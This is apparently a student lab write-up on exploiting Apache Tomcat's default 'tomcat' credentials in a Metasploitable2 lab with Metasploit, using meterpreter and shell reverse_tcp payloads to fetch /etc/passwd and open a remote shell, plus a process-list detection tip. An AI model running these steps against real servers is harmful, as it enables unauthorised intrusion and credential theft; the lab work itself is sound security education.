

Penetration Testing: Metasploit, exploits, and payloads

Eric Neidhart, Ankit Sanghi, Ginnie White

Part 2: Tomcat

How the exploit works:

For the purposes of this assignment, we decided to use the exploit for Tomcat. The exploit works because the default username and password for Tomcat servers is tomcat, and if someone doesn't bother to change the username and password, then an attacker could use these defaults to get shell access to the server and perform actions like downloading files.

Downloading files from server:

We set the exploit in Metasploit to "exploit/multi/http/tomcat_mgr_deploy". Then we set the payload to "java/meterpreter/reverse_tcp". We then run "set HttpPassword tomcat" and "set HttpUsername tomcat" to set the username and password we're going to use in the attack. Then we set our RPORT to 10.0.2.4 and LHOST to 10.0.2.15. Finally, we run exploit. Using these commands with our chosen payload will give us a meterpreter that will allow us to run commands that interact with the Tomcat server. We then run "download /etc/passwd ./metasploitable2" to download the passwd file and store it in a folder called metasploitable2 in our home directory. We have now successfully downloaded a file! Below you can see several screenshots that showed the variables we changed and the commands we ran to download the file.

```
msf6 exploit(multi/http/tomcat_mgr_deploy) > show options
```

Module options (exploit/multi/http/tomcat_mgr_deploy):

Name	Current Setting	Required	Description
HttpPassword	tomcat	no	The password for the specified username
HttpUsername	tomcat	no	The username to authenticate as
PATH	/manager	yes	The URI path of the manager app (/deploy and /undeploy will be used)
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	10.0.2.4	yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT	8180	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
VHOST		no	HTTP server virtual host

Payload options (java/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST	10.0.2.15	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```
msf6 exploit(multi/http/tomcat_mgr_deploy) > exploit
```

```
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 6260 bytes as Xo6l2fwCTiLXo.war ...
[*] Executing /Xo6l2fwCTiLXo/nHWenvTHqj.jsp ...
[*] Undeploying Xo6l2fwCTiLXo ...
[*] Sending stage (58125 bytes) to 10.0.2.4
[*] Meterpreter session 2 opened (10.0.2.15:4444 → 10.0.2.4:51310) at 2021-05-30 12:53:38 -0400
```

```
meterpreter > download /etc/passwd ./metasploitable2
[*] Downloading: /etc/passwd → ./metasploitable2/passwd
[*] Downloaded 1.54 KiB of 1.54 KiB (100.0%): /etc/passwd → ./metasploitable2/passwd
[*] download : /etc/passwd → ./metasploitable2/passwd
```

```
(kali㉿kali)-[~]
$ ls
Desktop  Documents  Downloads  metasploitable2

(kali㉿kali)-[~]
$ cd metasploitable2

(kali㉿kali)-[~/metasploitable2]
$ ls
passwd
```

Writing Arbitrary Code to Server:

In order to get access to a shell, we need to change the payload of our exploit. Set the payload to "java/shell/reverse_tcp" and then run "exploit". Following this process using

this payload should give you shell access to the server versus the meterpreter from the last payload. It's not root access, but it is still access to a shell where you can run arbitrary code. Here is a screenshot of the commands we ran for this attempt" and the command we ran once we had access (just a basic ls in this case).

```
msf6 exploit(multi/http/tomcat_mgr_deploy) > set PAYLOAD java/shell/reverse_tcp
PAYLOAD => java/shell/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_deploy) > exploit

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 6272 bytes as YeKCDaXQuNpWRZPM2H7Dtnauz.war ...
[*] Executing /YeKCDaXQuNpWRZPM2H7Dtnauz/BGq1a.jsp ...
[*] Undeploying YeKCDaXQuNpWRZPM2H7Dtnauz ...
[*] Sending stage (2952 bytes) to 10.0.2.4
[*] Command shell session 3 opened (10.0.2.15:4444 => 10.0.2.4:34023) at 2021-05-30 13:02:04 -0400

ls
```

Part 3:

```
tomcat55 4696 0.0 1.1 81336 24092 ? S1 13:07 0:00 /usr/lib/jvm/ja
tomcat55 4699 0.0 0.0 4488 1604 ? S 13:07 0:00 /bin/sh
```

By using the 'ps aux' command, we get a list of all processes running on metasploitable for some amount of time by all users, including background processes. Here, we see activity by the tomcat55 user, which shouldn't be doing anything as we as msfadmin should be the only non-root or daemon user with activity. Therefore, if we see any tomcat55 activity, without us switching to acting as a 'tomcat' user for some reason, then we are able to know that someone successfully used the tomcat exploit and accessed our machine.

Part 4:

We found it very interesting how easy Metasploit is to use and the sheer number of exploits it has available. A cursory google search showed us over 1600 different exploits using 25 different platforms that we could have tried here. It's also very interesting how many different payloads are available for each exploit, and how easy it is to change payload. Meterpreter is also very cool and useful to do lots of things.